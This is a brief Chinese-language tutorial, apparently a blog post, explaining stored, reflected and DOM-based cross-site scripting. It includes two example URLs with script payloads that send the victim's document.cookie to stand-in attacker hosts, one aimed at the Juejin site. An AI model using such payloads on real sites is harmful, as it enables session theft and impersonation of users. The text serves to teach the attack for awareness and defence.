XSS 全称 Cross-site Scripting 中文译为跨站脚本,常用来表示为跨站脚本攻击,是一种安全漏洞。攻击者会利用这一漏洞向 Web 网站注入恶意代码(js 脚本代码),恶意代码在用户浏览器上一旦被执行,攻击者就有可能通过 Cookie 或 localStorage 拿到受害者的网站身份信息,从而突破网站身份限制,冒充受害者身份来进行破坏及其他违法操作。
存储型 XSS
注入的恶意脚本代码,会保存在服务器上,一旦用户使用浏览器请求数据的时候,恶意代码会被回传回来并在浏览器上执行。比较典型的场景案例是发表评论,攻击者
通过评论输入框输入一段恶意代码(可以为任意浏览器可执行代码),点击提交按钮发表评论,此时恶意代码将会被保存到服务器数据库,其他受害者用户浏览该网页的时候评论内容(即恶意代码)将会被回传回来并执行。
比如尝试提交一条含有恶意代码的评论,如果提交成功了那将会是一件很危险的事。
反射型 XSS
攻击者将恶意代码包含在 URL 上,诱导用户点击,一旦用户点击了,恶意代码将会在用户浏览器中运行。
比如恶意链接:将你的掘金 Cookie 信息发送到恶意网站。
https://juejin.cn/?query=<script>window.location='http://other-example.com?cookie=' + document.cookie'</script>
在有做 xss 攻击防护的网站,一般是不能访问成功的,比如访问上面的掘金恶意链接是这样的。
基于 DOM 的 XSS
攻击者诱导受害者点击恶意链接,恶意链接包含修改网页 dom 结构的 js 代码
http://example.com/page#<script>document.location='https://malicious-site.com/steal.php?cookie='+document.cookie;</script>